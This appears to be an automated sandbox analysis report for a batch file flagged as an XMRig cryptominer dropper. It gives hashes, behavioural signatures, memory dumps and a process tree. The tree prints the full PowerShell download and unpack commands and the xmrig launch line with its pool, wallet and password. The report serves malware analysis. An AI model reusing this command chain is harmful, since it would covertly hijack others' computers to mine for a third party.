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Analysis

  • max time kernel
    1792s
  • max time network
    1793s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 46 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3460
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3256

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    52ed39050a29a3de7c6dfd33159be4c5

    SHA1

    ac80c4d5c791c72a44a1bed5484d15196ed63ac3

    SHA256

    9b1838e8bbfd4b5e9b684977773e1c90738086bd8a32ffabadc4191f35ec1787

    SHA512

    f47686d1a0770b31f3c2037dd1e79bba31c2ef760c94aba6d0b911efe940d0dd0dc5fa0ef318070873c66e0bb5de7d6979db008512e1271a62cfbbb2a0041dd7

  • memory/1452-4-0x000001771C300000-0x000001771C322000-memory.dmp

    Filesize

    136KB

  • memory/1452-6-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp

    Filesize

    9.9MB

  • memory/1452-8-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-10-0x000001771C4B0000-0x000001771C526000-memory.dmp

    Filesize

    472KB

  • memory/1452-9-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-25-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-26-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp

    Filesize

    9.9MB

  • memory/1452-27-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-28-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-29-0x000001771C2F0000-0x000001771C300000-memory.dmp

    Filesize

    64KB

  • memory/1452-34-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp

    Filesize

    9.9MB

  • memory/3256-147-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-153-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-122-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-188-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-187-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-186-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-185-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-123-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-124-0x0000026E11EA0000-0x0000026E11EC0000-memory.dmp

    Filesize

    128KB

  • memory/3256-125-0x0000026E120D0000-0x0000026E120F0000-memory.dmp

    Filesize

    128KB

  • memory/3256-126-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-127-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-128-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-130-0x0000026E120D0000-0x0000026E120F0000-memory.dmp

    Filesize

    128KB

  • memory/3256-129-0x0000026E11EA0000-0x0000026E11EC0000-memory.dmp

    Filesize

    128KB

  • memory/3256-131-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-132-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-133-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-134-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-135-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-136-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-137-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-138-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-139-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-140-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-141-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-142-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-143-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-144-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-145-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-146-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-120-0x0000026E01690000-0x0000026E016B0000-memory.dmp

    Filesize

    128KB

  • memory/3256-148-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-149-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-150-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-151-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-152-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-121-0x0000026E11A50000-0x0000026E11A70000-memory.dmp

    Filesize

    128KB

  • memory/3256-154-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-155-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-156-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-157-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-158-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-159-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-160-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-161-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-162-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-163-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-164-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-165-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-166-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-167-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-168-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-169-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-170-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-171-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-172-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-173-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-174-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-175-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-176-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-177-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-178-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-179-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-180-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-181-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-182-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-183-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3256-184-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3460-66-0x0000027940840000-0x0000027940850000-memory.dmp

    Filesize

    64KB

  • memory/3460-38-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp

    Filesize

    9.9MB

  • memory/3460-41-0x0000027940840000-0x0000027940850000-memory.dmp

    Filesize

    64KB

  • memory/3460-42-0x0000027940840000-0x0000027940850000-memory.dmp

    Filesize

    64KB

  • memory/3460-93-0x0000027940870000-0x000002794087A000-memory.dmp

    Filesize

    40KB

  • memory/3460-80-0x0000027940A10000-0x0000027940A22000-memory.dmp

    Filesize

    72KB

  • memory/3460-117-0x00007FFE95830000-0x00007FFE9621C000-memory.dmp

    Filesize

    9.9MB